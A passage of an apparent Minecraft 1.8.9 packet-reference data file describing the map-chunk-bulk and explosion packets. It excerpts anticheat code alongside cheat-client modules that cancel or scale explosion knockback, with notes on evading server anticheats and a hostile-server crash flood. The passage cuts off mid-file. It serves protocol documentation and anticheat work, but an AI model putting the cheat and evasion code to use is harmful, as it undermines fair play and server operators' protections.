Integer.bitCount(mask[column]);\n            buffer.readerIndex(buffer.readerIndex() + 256 + (chunks * 2048) + (skylight ? (chunks * 2048) : 0));\n\n            addChunkToCache(event, player, chunkSections, true, x[column], z[column], null);\n        }\n    }\n\n    @Override\n    public void handleMapChunk(final GrimPlayer player, final PacketSendEvent event) {\n        PacketWrapper<?> wrapper = new PacketWrapper<>(event);\n\n        final int chunkX = wrapper.readInt();\n        final int chunkZ = wrapper.readInt();\n        boolean groundUp = wrapper.readBoolean();\n\n        BitSet mask = BitSet.valueOf(new long[]{(long) wrapper.readUnsignedShort()});\n        int size = wrapper.readVarInt(); // Ignore size\n\n        final Chunk_v1_9[] chunks = new Chunk_v1_9[16];\n        this.readChunk((ByteBuf) event.getByteBuf(), chunks, mask);\n\n        this.addChunkToCache(event, player, chunks, groundUp, chunkX, chunkZ, null);\n\n        event.setLastUsedWrapper(null); // Make sure this incomplete packet isn't sent\n    }\n\n    private void readChunk(final ByteBuf buf, final Chunk_v1_9[] chunks, final BitSet set) {\n        for (int ind = 0; ind < 16; ++ind) {\n            if (set.get(ind)) {\n                chunks[ind] = readChunk(buf);\n            }\n        }\n    }\n\n    public Chunk_v1_9 readChunk(final ByteBuf in) {\n        ListPalette palette = new ListPalette(4);\n        BitStorage storage = new BitStorage(4, 4096);\n        DataPalette dataPalette = new DataPalette(palette, storage, PaletteType.CHUNK);\n\n        palette.stateToId(0); // Make sure to init chunk as air\n\n        int lastNext = -1;\n        int lastID = -1;\n        int blockCount = 0;\n\n        for (int i = 0; i < 4096; ++i) {\n            int next = in.readShort();\n\n            if (next != 0) { // If not air, doesn't need any endian flip\n                blockCount++;\n            }\n\n            // 0111 0000 0000 0000\n            // First byte of block type, followed by data, followed by second and third byte of block data\n            //\n            // This is bedrock\n            //\n            // Due to endian weirdness, it must be turned into\n            // 0000 0000 01110 0000\n            if (next != lastNext) { // If same, then couldn't have changed palette size, optimization\n                lastNext = next;\n                next = (short) (((next & 0xFF00) >> 8) | (next << 8)); // Flip endian bytes, computations are cheap compared to memory access\n                dataPalette.set(i & 15, (i >> 8) & 15, (i >> 4) & 15, next); // Allow it to resize\n                lastID = dataPalette.storage.get(i); // Get stored ID\n                continue;\n            }\n\n            dataPalette.storage.set(i, lastID);\n        }\n\n        return new Chunk_v1_9(blockCount, dataPalette);\n    }\n}\n// NOTE (AI): The S26 corpus hits include the BasePacketWorldReader dispatch (handleMapChunkBulk) and the reader's own method.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/worldreader/PacketWorldReaderEight.java",
       "variations": "Intave MapChunkBulkReader reads only the per-column x/z coordinate arrays and hands them to the block cache; Kauri runUpdate(WrapperPlayServerChunkDataBulk) applies bulk columns inside keepalive actions; Hydro WorldTracker handleChunkBulk stores the sections in its chunk map."
      },
      {
       "name": "MapChunkBulkReader (Intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Read the chunk coordinates of every column in the S26 bulk packet for Intave's chunk coordinate tracking.",
       "how_it_works": "ChunkCoordinateReader implementation that clones the packet's x and z integer arrays, giving the block cache the coordinates of every column in the bulk; PacketReaders registers it as setup(MAP_CHUNK_BULK, MapChunkBulkReader::new). The coordinates feed the multi-chunk block cache that physics and interaction checks use.",
       "detects": "Keeps the block cache's chunk grid in sync when whole regions load at once; no direct flag.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/packet/reader/MapChunkBulkReader.java =====\npackage de.jpx3.intave.packet.reader;\n\npublic final class MapChunkBulkReader extends AbstractPacketReader implements ChunkCoordinateReader {\n  @Override\n  public int[] xCoordinates() {\n    return packet().getIntegerArrays().read(0).clone();\n  }\n\n  @Override\n  public int[] zCoordinates() {\n    return packet().getIntegerArrays().read(1).clone();\n  }\n}\n// NOTE (AI): The S26 corpus hits are the registration line and the surrounding isChunkLoaded keyword matches.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/packet/reader/MapChunkBulkReader.java",
       "variations": "Grim handleMapChunkBulk and Kauri runUpdate(WrapperPlayServerChunkDataBulk) decode the full columns; ChunkCoordinateReader is Intave's shared interface with MapChunkReader for S21."
      },
      {
       "name": "WorldDownloaderSentinel (Photon)",
       "found_in": [
        "Photon-GitHub-AntiCheatAddition"
       ],
       "purpose": "Detect WorldDownloader mods at the wdl channel handshake and disable their chunk caching and saving.",
       "how_it_works": "Same module as the S21 entry: it answers wdl|INIT with wdl|CONTROL packets that disable general saving, chunk caching, entity, tile-entity and container saving per config, then runs the sentinel detection. Bulk chunk delivery (S26) is the mod's highest-bandwidth input, so the module closes the hole before the client can persist anything.",
       "detects": "WorldDownloader clients on 1.7 and 1.8 servers, where the bulk packet makes whole-region capture trivial.",
       "detailed_code": "// ===== FILE: Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/modules/sentinel/mods/WorldDownloaderSentinel.java =====\npackage de.photon.anticheataddition.modules.sentinel.mods;\n\nimport com.google.common.io.ByteStreams;\nimport de.photon.anticheataddition.AntiCheatAddition;\nimport de.photon.anticheataddition.modules.ModuleLoader;\nimport de.photon.anticheataddition.modules.sentinel.SentinelModule;\nimport de.photon.anticheataddition.util.pluginmessage.MessageChannel;\nimport org.bukkit.entity.Player;\nimport org.bukkit.plugin.messaging.PluginMessageListener;\nimport org.jetbrains.annotations.NotNull;\n\npublic final class WorldDownloaderSentinel extends SentinelModule implements PluginMessageListener\n{\n    public static final WorldDownloaderSentinel INSTANCE = new WorldDownloaderSentinel();\n\n    private static final MessageChannel WDL_CONTROL_CHANNEL = MessageChannel.of(\"wdl\", \"control\", \"WDL|CONTROL\");\n    public static final MessageChannel WDL_INIT_CHANNEL = MessageChannel.of(\"wdl\", \"init\", \"WDL|INIT\");\n\n    private final boolean disable = loadBoolean(\".disable.general\", true);\n    private final boolean disableFuture = loadBoolean(\".disable.future\", true);\n    private final int saveRadius = loadInt(\".disable.save_radius\", 0);\n    private final boolean disableChunkCaching = loadBoolean(\".disable.chunk_caching\", true);\n    private final boolean disableEntitySaving = loadBoolean(\".disable.entity_saving\", true);\n    private final boolean disableTileEntitySaving = loadBoolean(\".disable.tile_entity_saving\", true);\n    private final boolean disableContainerSaving = loadBoolean(\".disable.container_saving\", true);\n\n    private WorldDownloaderSentinel()\n    {\n        super(\"WorldDownloader\");\n    }\n\n    @Override\n    public void onPluginMessageReceived(@NotNull final String channel, @NotNull final Player player, final byte[] message)\n    {\n        // This must not be empty as we defined our channel with both a full key and a legacy string.\n        final var sendChannel = WDL_CONTROL_CHANNEL.getChannel().orElseThrow();\n\n        /*Documentation:\n         * https://github.com/Pokechu22/WorldDownloader-Serverside-Companion/blob/master/src/main/java/wdl/WDLPackets.java\n         *\n         * and\n         *\n         * https://wiki.vg/User:Pokechu22/World_downloader\n         *\n         * The first packet specifies, whether new functions are allowed, the second what current functions are allowed.*/\n        final var packetZero = ByteStreams.newDataOutput();\n        packetZero.writeInt(0);\n        packetZero.writeBoolean(!disableFuture);\n        player.sendPluginMessage(AntiCheatAddition.getInstance(), sendChannel, packetZero.toByteArray());\n\n        final var packetOne = ByteStreams.newDataOutput();\n        packetOne.writeInt(1);\n\n        packetOne.writeBoolean(!disable);\n        packetOne.writeInt(saveRadius);\n        packetOne.writeBoolean(!disableChunkCaching);\n        packetOne.writeBoolean(!disableEntitySaving);\n        packetOne.writeBoolean(!disableTileEntitySaving);\n        packetOne.writeBoolean(!disableContainerSaving);\n        player.sendPluginMessage(AntiCheatAddition.getInstance(), sendChannel, packetOne.toByteArray());\n\n        detection(player);\n    }\n\n    @Override\n    protected ModuleLoader createModuleLoader()\n    {\n        return ModuleLoader.builder(this)\n                           .addIncomingMessageChannel(WDL_INIT_CHANNEL)\n                           .addOutgoingMessageChannel(WDL_CONTROL_CHANNEL)\n                           .build();\n    }\n}\n// NOTE (AI): The S26 corpus hit is the same chunk_caching flag family as S21; the module never inspects the chunk payload itself.",
       "code_source": "Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/modules/sentinel/mods/WorldDownloaderSentinel.java",
       "variations": "No other anticheat in the corpus speaks the wdl channels; Negativity and LightAntiCheat approximate the protection with region bypass and unloaded-chunk checks."
      },
      {
       "name": "Chunk column cache (Kauri)",
       "found_in": [
        "funkemunky-KauriV3"
       ],
       "purpose": "Store the 16x384x16 block grid of each replicated chunk so Kauri's checks can query block states.",
       "how_it_works": "Chunk holds a synchronized WrappedBlock[16][384][16] array keyed by chunk x/z; updateBlock writes into it (with the negative-y offset for 1.18 worlds) and getBlockAt returns an Optional of the block, mapping coordinates into the local grid. World fills these chunks from chunk-data and chunk-data-bulk packets via runUpdate, and BlockUpdateHandler routes S22 and S23 updates into the same storage.",
       "detects": "Supplies block truth for Kauri's phase, reach and interaction checks; the S26 corpus hit is the ChunkDataBulk consumption in BlockUpdateHandler that fills these grids.",
       "detailed_code": "// ===== FILE: funkemunky-KauriV3, Anticheat/src/main/java/dev/brighten/ac/handler/block/Chunk.java =====\npackage dev.brighten.ac.handler.block;\n\nimport com.github.retrooper.packetevents.util.Vector3i;\nimport lombok.Getter;\nimport lombok.RequiredArgsConstructor;\n\nimport java.util.Arrays;\nimport java.util.Objects;\nimport java.util.Optional;\n\n@RequiredArgsConstructor\npublic class Chunk {\n    @Getter\n    private final int x, z;\n    private final WrappedBlock[][][] blocks = new WrappedBlock[16][384][16];\n\n    /**\n     * Get a block at the specified location\n     * @param location - Location of the block\n     * @return Optional of the block at the specified location\n     */\n    public Optional<WrappedBlock> getBlockAt(Vector3i location) {\n        return getBlockAt(location.getX(), location.getY(), location.getZ());\n    }\n\n    /**\n     * @param x - X coordinate of the block\n     * @param y - Y coordinate of the block\n     * @param z - Z coordinate of the block\n     * @return Optional of the block at the specified location\n     */\n    public Optional<WrappedBlock> getBlockAt(int x, int y, int z) {\n       synchronized (blocks) {\n           x = x & 15;\n           z = z & 15;\n           if(y > 320 || y < -64) {\n               return Optional.empty();\n           }\n\n           if(y < 0) {\n               y = Math.abs(y) + 320;\n           }\n           return Optional.ofNullable(blocks[x][y][z]);\n       }\n    }\n\n    /**\n     * Update a block in the chunk\n     * @param x - X coordinate of the block\n     * @param y - Y coordinate of the block\n     * @param z - Z coordinate of the block\n     * @param block - Block to update to\n     */\n    public void updateBlock(int x, int y, int z, WrappedBlock block) {\n        synchronized (blocks) {\n            if(y < 0) {\n                y = Math.abs(y) + 1000;\n            }\n\n            blocks[x & 15][y][z & 15] = block;\n        }\n    }\n\n    /**\n     * Update a block in the chunk\n     * @param location - Location of the block\n     * @param block - Block to update to\n     */\n    public void updateBlock(Vector3i location, WrappedBlock block) {\n        updateBlock(location.getX(), location.getY(), location.getZ(), block);\n    }\n\n    @Override\n    public boolean equals(Object o) {\n        if (!(o instanceof Chunk chunk)) return false;\n        return x == chunk.x && z == chunk.z && Objects.deepEquals(blocks, chunk.blocks);\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(x, z, Arrays.deepHashCode(blocks));\n    }\n}\n// NOTE (AI): The file is pure storage; the S26 bulk decode that populates it is runUpdate(WrapperPlayServerChunkDataBulk) in BlockUpdateHandler.",
       "code_source": "funkemunky-KauriV3, Anticheat/src/main/java/dev/brighten/ac/handler/block/Chunk.java",
       "variations": "Truthful CompensatedWorld delegates to a global world cache of ChunkSnapshot objects with a last-chunk access cache; Hydro WorldTracker stores PacketEvents BaseChunk arrays; Grim Column records hold BaseChunk[] plus the transaction id."
      }
     ]
    }
   },
   "wiki_notes": [
    "Clientbound 0x26 bulk loader: skylight bool, VarInt column count, then per-column data.",
    "Each column sends X and Z ints plus a 16-bit section bitmask and compressed payload.",
    "Used for join and large loads; column layout reuses the S21 section encoding.",
    "MCP 1.8.9 S26PacketMapChunkBulk implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleMapChunkBulk; wire serde is readPacketData/writePacketData via readBoolean, readBytes, readInt, readShort, readVarIntFromBuffer.",
    "1.8.9 callers: EntityPlayerMP.? sends new S26PacketMapChunkBulk (line 344): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/player/EntityPlayerMP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S26PacketMapChunkBulk/",
   "mcp_path": "net/minecraft/network/play/server/S26PacketMapChunkBulk.java",
   "group": "play-client",
   "logic_classes": [
    "EntityPlayerMP"
   ]
  },
  {
   "id": "S27PacketExplosion",
   "hex": "0x27",
   "dec": 39,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Explosion",
   "desc": "Server notifies the client of an explosion (TNT, creeper, bed in Nether/End, etc).",
   "tags": [
    "world",
    "explosion",
    "tnt",
    "combat",
    "entity"
   ],
   "fields": [
    {
     "name": "x/y/z",
     "type": "float",
     "desc": "Explosion center"
    },
    {
     "name": "strength",
     "type": "float",
     "desc": "Explosion power/strength"
    },
    {
     "name": "affectedBlockPositions",
     "type": "List<BlockPos>",
     "desc": "Blocks destroyed by the explosion"
    },
    {
     "name": "motionX/Y/Z",
     "type": "float",
     "desc": "Player knockback velocity from the explosion"
    }
   ],
   "encoding": [
    [
     "X",
     "float",
     ""
    ],
    [
     "Y",
     "float",
     ""
    ],
    [
     "Z",
     "float",
     ""
    ],
    [
     "Radius",
     "float",
     ""
    ],
    [
     "Record Count",
     "int",
     ""
    ],
    [
     "Records",
     "byte array",
     "Relative positions of affected blocks"
    ],
    [
     "Player Motion X",
     "float",
     ""
    ],
    [
     "Player Motion Y",
     "float",
     ""
    ],
    [
     "Player Motion Z",
     "float",
     ""
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleExplosion()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "Affected blocks are sent as byte triplets (x, y, z) relative to the explosion center. The client applies particle effects and knockback to the local player.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S27 is the server's explosion broadcast: center x/y/z floats, strength, a list of affected block positions encoded as byte triplets relative to the center, and a per-player knockback vector as three floats. WorldServer sends one S27 per affected player (corpus line 901), with the knockback floats computed per player from the explosion's player knockback map. The client both renders the destroyed blocks and applies the knockback vector to the local player, which is why it is the second half of every velocity module's packet filter alongside S12PacketEntityVelocity."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleExplosion builds an Explosion object from the center and strength, calls doExplosionB(true) to spawn particles and sounds, then adds the packet's motion floats straight into thePlayer.motionX/Y/Z. Critically, the knockback is applied unconditionally on the main thread; there is no entity-ID check because the packet is per-player. That makes S27 the standard fallback for anti-cheat velocity implementations: servers that hide S12 knockback in explosion packets still deliver S27, so clients must filter both."
     },
     {
      "h": "Why clients touch it",
      "p": "S27 is the most-touched clientbound packet in this batch. Every velocity module in the corpus filters it: Memeware and Nekoware cancel it in a shared combat/Velocity pattern, Rise 5.99's Velocity scales or cancels it, Sigma's AntiVelocity handles it in basic mode, Spicy's AntiKnockback cancels it, and Tenacity's VelocityModule scales it by the same horizontal/vertical settings as S12. Rise 6.x splits this into a suite of per-server modes (Standard, Vulcan, Redesky, UniversoCraft, BufferAbuse), all of which touch S27. Movement modules also consume it: Rise 5.99's Fly (Minemenclub) and LongJump (Hycraft, Vulcan) cancel S27 to control knockback timing, and Sigma's Fly uses it for explosion-based boosting. LiquidSense Dev's PingSpoof imports S27PacketExplosion but never references it in the module body; the import is dead scaffolding from the upstream LiquidBounce PingSpoof."
     },
     {
      "h": "Exploit surface",
      "p": "The exploit surface is bidirectional. Client-side, scaling or cancelling the knockback floats is invisible to the server because S27 is one-way; anti-cheats can only infer from resulting motion, which is why velocity modules keep the S12 and S27 paths symmetric. Server-side, a hostile server can send S27 with huge motion floats (Rise's ExplosionCheck guards against motion >= Byte.MAX_VALUE) or enormous affected-block lists to stall the client's block-position loop, which is exactly the flood Tenacity's AntiExploit rate-limits. Rise's ItemDamageComponent also counts S27 as a damage source to resync the player's health model."
     }
    ],
    "overview": "The explosion broadcast that carries both destroyed-block positions and a per-player knockback vector. Every velocity module in the corpus filters it alongside S12PacketEntityVelocity; Rise 6.x dedicates five per-server modes to it, movement modules cancel it to shape knockback, and Tenacity's AntiExploit rate-limits it against crash floods. The packet is one-way, so all client abuse is invisible to the server.",
    "server_handling": "WorldServer.createExplosion computes the affected block list and a per-player knockback Vec3 from the blast, then sends a dedicated S27 to each EntityPlayerMP (corpus line 901). The knockback map is filled only for players the explosion actually hits, so players outside the blast receive an S27 with zero motion floats but still get the visual. No client acknowledgement and no rate limiting in vanilla.",
    "protocol_notes": "Wire format: three floats (center), float strength, int record count, then count byte triplets as offsets from the center (each block position is center + signed byte), then three floats of player motion. The triplet encoding caps the block list extent at 127 blocks from the center, which is why ExplosionCheck thresholds at Byte.MAX_VALUE. PLAY state only.",
    "anticheat_landscape": "Anti-cheats cannot see the mutation, so they infer velocity removal from motion deltas: after a flagged hit they compare the player's acceleration against the expected knockback curve. That is why legit-looking modes exist: Tenacity's horizontal/vertical percentages, Rise 6.x's per-server modes, and movement modules that cancel S27 only while airborne. The Rise 6.x BufferAbuse and PingSpoofComponent keep the S27 path consistent with transaction buffering, since a desynced knockback stream is a strong velocity flag on Vulcan and Watchdog.",
    "modules": [
     {
      "name": "Velocity / AntiKnockback",
      "found_in": [
       "Memeware 7.3",
       "Nekoware v1 private",
       "Rise 5.99",
       "Sigma 4.11",
       "Spicy",
       "Tenacity 6.0"
      ],
      "purpose": "Cancel or scale explosion knockback so hits from TNT, creepers and beds apply reduced or zero motion.",
      "how_it_works": "PacketReceiveEvent filter: if the packet is S27PacketExplosion, either cancel it outright or multiply motionX/Y/Z by horizontal/vertical percentage settings before the vanilla handler applies them. Tenacity scales in place; Memeware/Nekoware/Spicy cancel; Rise 5.99 and Sigma switch behavior per configured mode.",
      "detailed_code": "// ===== FILE: Tenacity 6.0, dev/tenacity/module/impl/movement/VelocityModule.java =====\npackage dev.tenacity.module.impl.movement;\n\nimport dev.tenacity.event.IEventListener;\nimport dev.tenacity.event.impl.packet.PacketReceiveEvent;\nimport dev.tenacity.module.Module;\nimport dev.tenacity.module.ModuleCategory;\nimport dev.tenacity.setting.impl.NumberSetting;\nimport net.minecraft.network.play.server.S12PacketEntityVelocity;\nimport net.minecraft.network.play.server.S27PacketExplosion;\n\npublic final class VelocityModule extends Module {\n\n    private final NumberSetting horizontalVelocity = new NumberSetting(\"Horizontal Velocity\", 0, 0, 100, 0.1),\n            verticalVelocity = new NumberSetting(\"Vertical Velocity\", 0, 0, 100, 0.1);\n\n\n    public VelocityModule() {\n        super(\"Velocity\", \"Removes your velocity movement aspect\", ModuleCategory.MOVEMENT);\n        initializeSettings(horizontalVelocity, verticalVelocity);\n    }\n\n    private final IEventListener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n\n\n        if(event.getPacket() instanceof S12PacketEntityVelocity) {\n            final S12PacketEntityVelocity s12 = (S12PacketEntityVelocity) event.getPacket();\n            if(s12.getEntityID() == mc.thePlayer.getEntityId()) {\n                if(horizontalVelocity.getCurrentValue() == 0 && verticalVelocity.getCurrentValue() == 0) {\n                    event.cancel();\n                    return;\n                }\n                s12.motionX *= (int) (horizontalVelocity.getCurrentValue() / 100);\n                s12.motionY *= (int) (verticalVelocity.getCurrentValue() / 100);\n                s12.motionZ *= (int) (horizontalVelocity.getCurrentValue() / 100);\n            }\n        }\n        if(event.getPacket() instanceof S27PacketExplosion) {\n            final S27PacketExplosion s27 = (S27PacketExplosion) event.getPacket();\n            if(horizontalVelocity.getCurrentValue() == 0 && verticalVelocity.getCurrentValue() == 0) {\n                event.cancel();\n                return;\n            }\n            s27.motionX *= (float) (horizontalVelocity.getCurrentValue() / 100);\n            s27.motionY *= (float) (verticalVelocity.getCurrentValue() / 100);\n            s27.motionZ *= (float) (horizontalVelocity.getCurrentValue() / 100);\n        }\n    };\n}\n// NOTE (AI): Tenacity's implementation is the cleanest scaling example: the same PacketReceiveEvent handler covers S12 and S27, cancels when both sliders are 0, otherwise scales the float fields in place. Note the S27 branch has no entity-ID check (the packet is per-player) while the S12 branch does. Memeware and Nekoware ship a shorter cancel-only variant; Spicy's AntiKnockback cancels S27 in the same event shape.",
      "code_source": "Tenacity 6.0, dev/tenacity/module/impl/movement/VelocityModule.java",
      "vanilla_hook": "PacketReceiveEvent.",
      "anti_cheat_notes": "In-place scaling is safer than cancel: the server still sees a packet pass and the client motion delta stays consistent with a legitimately weaker explosion. Full cancel flags on anti-cheats that measure knockback absence, which is why modes like Rise's Minemenclub variants only zero S27 while airborne.",
      "variations": "Memeware and Nekoware cancel S27 in combat/Velocity. Rise 5.99 scales per mode (Cancel/Push/etc.). Sigma AntiVelocity handles S27 in basic mode only. Spicy AntiKnockback cancels it. All six clients pair the S27 filter with the S12PacketEntityVelocity filter in the same handler."
     },
     {
      "name": "StandardVelocity / VulcanVelocity / RedeskyVelocity / UniversoCraftVelocity / BufferAbuseVelocity",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Per-server velocity modes that each define their own S27 (and S12) handling, from full cancel to percentage scaling to transaction-buffered removal.",
      "how_it_works": "Each mode is a Rise Mode<Velocity> subclass with an @EventLink PacketReceiveEvent listener. StandardVelocity scales or cancels S27 based on horizontal/vertical sliders and an Explosion Ignore boolean. VulcanVelocity, RedeskyVelocity and UniversoCraftVelocity cancel or mutate S27 to match each server's knockback checks. BufferAbuseVelocity folds S27 into the client's transaction-buffer manipulation so the knockback stream stays consistent while transactions are delayed.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/velocity/StandardVelocity.java =====\npackage com.alan.clients.module.impl.combat.velocity;\n\nimport com.alan.clients.Client;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.Priorities;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.other.TeleportEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.module.impl.combat.Criticals;\nimport com.alan.clients.module.impl.combat.Velocity;\nimport com.alan.clients.module.impl.movement.Speed;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.util.player.MoveUtil;\nimport com.alan.clients.value.Mode;\nimport com.alan.clients.value.impl.BooleanValue;\nimport com.alan.clients.value.impl.NumberValue;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C07PacketPlayerDigging;\nimport net.minecraft.network.play.server.S12PacketEntityVelocity;\nimport net.minecraft.network.play.server.S27PacketExplosion;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\n\npublic final class StandardVelocity extends Mode<Velocity> {\n    public Boolean disable2 = false;\n\n    private Integer time = 0;\n    private Speed speed = null;\n\n    private String mode = null;\n\n    private int amount;\n\n    private final NumberValue horizontal = new NumberValue(\"Horizontal\", this, 0, 0, 100, 1);\n    private final NumberValue vertical = new NumberValue(\"Vertical\", this, 0, 0, 100, 1);\n\n    private final BooleanValue onExplode = new BooleanValue(\"Explosion Ignore\", this, false);\n\n\n    @Override\n    public void onEnable() {\n      time = 0;\n    setDisable2(false);\n    }\n\n    public StandardVelocity(String name, Velocity parent) {\n        super(name, parent);\n    }\n\n    @EventLink(value = Priorities.VERY_LOW)\n    public final Listener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n        if ((getParent().onSwing.getValue() && !mc.thePlayer.isSwingInProgress) || event.isCancelled()) {\n            return;\n        }\n\n        final Packet<?> p = event.getPacket();\n\n        final double horizontal = this.horizontal.getValue().doubleValue();\n        final double vertical = this.vertical.getValue().doubleValue();\n        final boolean onExplode = this.onExplode.getValue();\n\n        if (p instanceof S12PacketEntityVelocity) {\n\n            final S12PacketEntityVelocity wrapper = (S12PacketEntityVelocity) p;\n\n            if (wrapper.getEntityID() == mc.thePlayer.getEntityId()) {\n\n\n    if (horizontal == 0) {\n        if (vertical != 0 && !event.isCancelled()) {\n\n            mc.thePlayer.motionY = wrapper.getMotionY() / 8000.0D;\n        }\n\n\n        event.setCancelled();\n        return;\n    }\n\n    wrapper.motionX *= horizontal / 100;\n    wrapper.motionY *= vertical / 100;\n    wrapper.motionZ *= horizontal / 100;\n\n    event.setPacket(wrapper);\n\n\n            }\n        } else if (p instanceof S27PacketExplosion) {\n            final S27PacketExplosion wrapper = (S27PacketExplosion) p;\n\n            if (onExplode) {\n                event.setCancelled();\n                return;\n            }\n\n            wrapper.posX *= horizontal / 100;\n            wrapper.posY *= vertical / 100;\n            wrapper.posZ *= horizontal / 100;\n\n            event.setPacket(wrapper);\n        }\n    };\n\n    @EventLink\n    public final Listener<PreMotionEvent> onPreMotionEvent = event -> {\n        if (speed == null) {\n            speed = getModule(Speed.class);\n\n        }\n\n\n/*\nif(speed.isEnabled() && Client.INSTANCE.getModuleManager().get(Speed.class).mode.getValue().getName().equals(\"Watchdog\")) {\n\n        if (mc.thePlayer.hurtTime > 9) {\n            mc.thePlayer.motionZ *= 0;\n            mc.thePlayer.motionX *= 0;\n            time++;\n\n            if (!MoveUtil.isMoving()) {\n                mc.thePlayer.motionZ *= 0;\n                mc.thePlayer.motionX *= 0;\n            }\n        }\n\n        if (mc.thePlayer.hurtTime == 9) {\n            if (MoveUtil.isMoving() && !mc.thePlayer.onGround && !( mc.thePlayer.offGroundTicks == 1)) {\n               // MoveUtil.partialStrafePercent(99);\n                double speed =1;\n                speed = Math.random()/50;\n                MoveUtil.strafe(.3);\n                  // mc.thePlayer.motionZ *= .95;\n                 //  mc.thePlayer.motionX *= .95;\n            } else {\n                mc.thePlayer.motionZ *= -.2;\n                mc.thePlayer.motionX *= -.2;\n            }\n\n\n        }\n    }\n\n */\n\n    };\n\n    @EventLink\n    public final Listener<TeleportEvent> onTeleport = event -> {\n        if (event.getPosY() < mc.thePlayer.posY - 2);\n\n\n    };\n\n    public Boolean getDisable2() {\n        return disable2;\n    }\n\n    public void setDisable2(Boolean disable2) {\n        this.disable2 = disable2;\n    }\n}\n// NOTE (AI): StandardVelocity shows the shared skeleton: horizontal/vertical NumberValues, an Explosion Ignore toggle, and one PacketReceiveEvent that branches S12 vs S27. The S27 branch scales posX/posY/posZ (Rise renamed the motion fields) and re-sets the packet on the event. The commented block in onPreMotionEvent is dead Watchdog-era code, kept in the file. Vulcan/Redesky/UniversoCraft variants in the same folder are shorter and mostly cancel S27 outright.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/velocity/StandardVelocity.java",
      "vanilla_hook": "PacketReceiveEvent, PreMotionEvent, TeleportEvent.",
      "anti_cheat_notes": "The per-server split exists because each anti-cheat (Vulcan, Redesky, UniversoCraft, etc.) measures knockback differently. Percentage modes are low-risk; full-cancel modes only run when the server's velocity check is known to be weak, and BufferAbuse keeps S27 consistent with the buffered transaction stream so the two cannot be cross-correlated.",
      "variations": "The same five modes exist in Rise 6.1.30 and 6.2.4 with near-identical bodies; 6.2.4 adds WatchdogPredictionVelocity and Grim-family modes that do not reference S27. PingSpoofComponent in both versions lists S27PacketExplosion in the velocity packet class set it buffers, and ItemDamageComponent counts S27 as a damage input."
     },
     {
      "name": "Fly / LongJump",
      "found_in": [
       "Rise 5.99",
       "Sigma 4.11"
      ],
      "purpose": "Cancel explosion knockback inside movement exploits so a mid-air boost or long jump is not interrupted by server-applied velocity.",
      "how_it_works": "Rise 5.99's LongJump cancels S27 (and S12) in onPacketReceive when the Hycraft or Vulcan mode is active; its Fly cancels S27 in the Minemenclub mode. Sigma's Fly treats S27 as a velocity source for explosion-boost movement. The cancel keeps the server's knockback from perturbing the carefully staged motion values the module computes each tick.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/movement/LongJump.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.movement;\n\nimport de.gerrygames.viarewind.utils.ChatUtil;\nimport dev.rise.Rise;\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.event.impl.other.MoveButtonEvent;\nimport dev.rise.event.impl.other.MoveEvent;\nimport dev.rise.event.impl.other.StrafeEvent;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.event.impl.packet.PacketSendEvent;\nimport dev.rise.event.impl.render.Render2DEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.setting.impl.BooleanSetting;\nimport dev.rise.setting.impl.ModeSetting;\nimport dev.rise.setting.impl.NumberSetting;\nimport dev.rise.util.math.MathUtil;\nimport dev.rise.util.player.DamageUtil;\nimport dev.rise.util.player.MoveUtil;\nimport dev.rise.util.player.PacketUtil;\nimport dev.rise.util.player.PlayerUtil;\nimport dev.rise.util.render.RenderUtil;\nimport dev.rise.util.render.theme.ThemeType;\nimport dev.rise.util.render.theme.ThemeUtil;\nimport net.minecraft.block.Block;\nimport net.minecraft.block.BlockAir;\nimport net.minecraft.client.gui.Gui;\nimport net.minecraft.client.gui.ScaledResolution;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.item.*;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.S12PacketEntityVelocity;\nimport net.minecraft.network.play.server.S27PacketExplosion;\nimport net.minecraft.potion.Potion;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\nimport net.minecraft.util.MathHelper;\nimport org.apache.commons.lang3.RandomUtils;\n\nimport java.awt.*;\nimport java.util.concurrent.ConcurrentLinkedQueue;\n\n\n@ModuleInfo(name = \"LongJump\", description = \"Does a long jump\", category = 